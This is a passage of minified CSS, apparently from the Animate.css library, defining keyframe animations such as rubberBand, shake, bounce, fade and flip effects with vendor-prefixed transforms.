rubberBand{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,0.75,1);transform:scale3d(1.25,0.75,1)}40%{-webkit-transform:scale3d(0.75,1.25,1);transform:scale3d(0.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,0.85,1);transform:scale3d(1.15,0.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,0.75,1);transform:scale3d(1.25,0.75,1)}40%{-webkit-transform:scale3d(0.75,1.25,1);transform:scale3d(0.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,0.85,1);transform:scale3d(1.15,0.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shake{0%,100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shake{0%,100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.shake{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}100%{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}@keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}100%{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes tada{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes wobble{0%{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}100%{-webkit-transform:none;transform:none}}@keyframes wobble{0%{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}100%{-webkit-transform:none;transform:none}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes bounceIn{0%,20%,40%,60%,80%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes bounceIn{0%,20%,40%,60%,80%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.bounceIn{-webkit-animation-name:bounceIn;animation-name:bounceIn;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounceInDown{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInDown{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}.bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInLeft{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}.bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInRight{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}.bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceInUp{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInUp{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.bounceOut{-webkit-animation-name:bounceOut;animation-name:bounceOut;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRight{0%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutDown{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutDownBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes fadeOutDownBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeft{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes fadeOutLeft{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutLeftBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes fadeOutLeftBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRight{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes fadeOutRight{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutRightBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes fadeOutRightBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes fadeOutUp{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes fadeOutUp{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutUpBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes fadeOutUpBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes flip{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInX{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}@keyframes flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}.flipOutX{-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes flipOutY{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}@keyframes flipOutY{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) 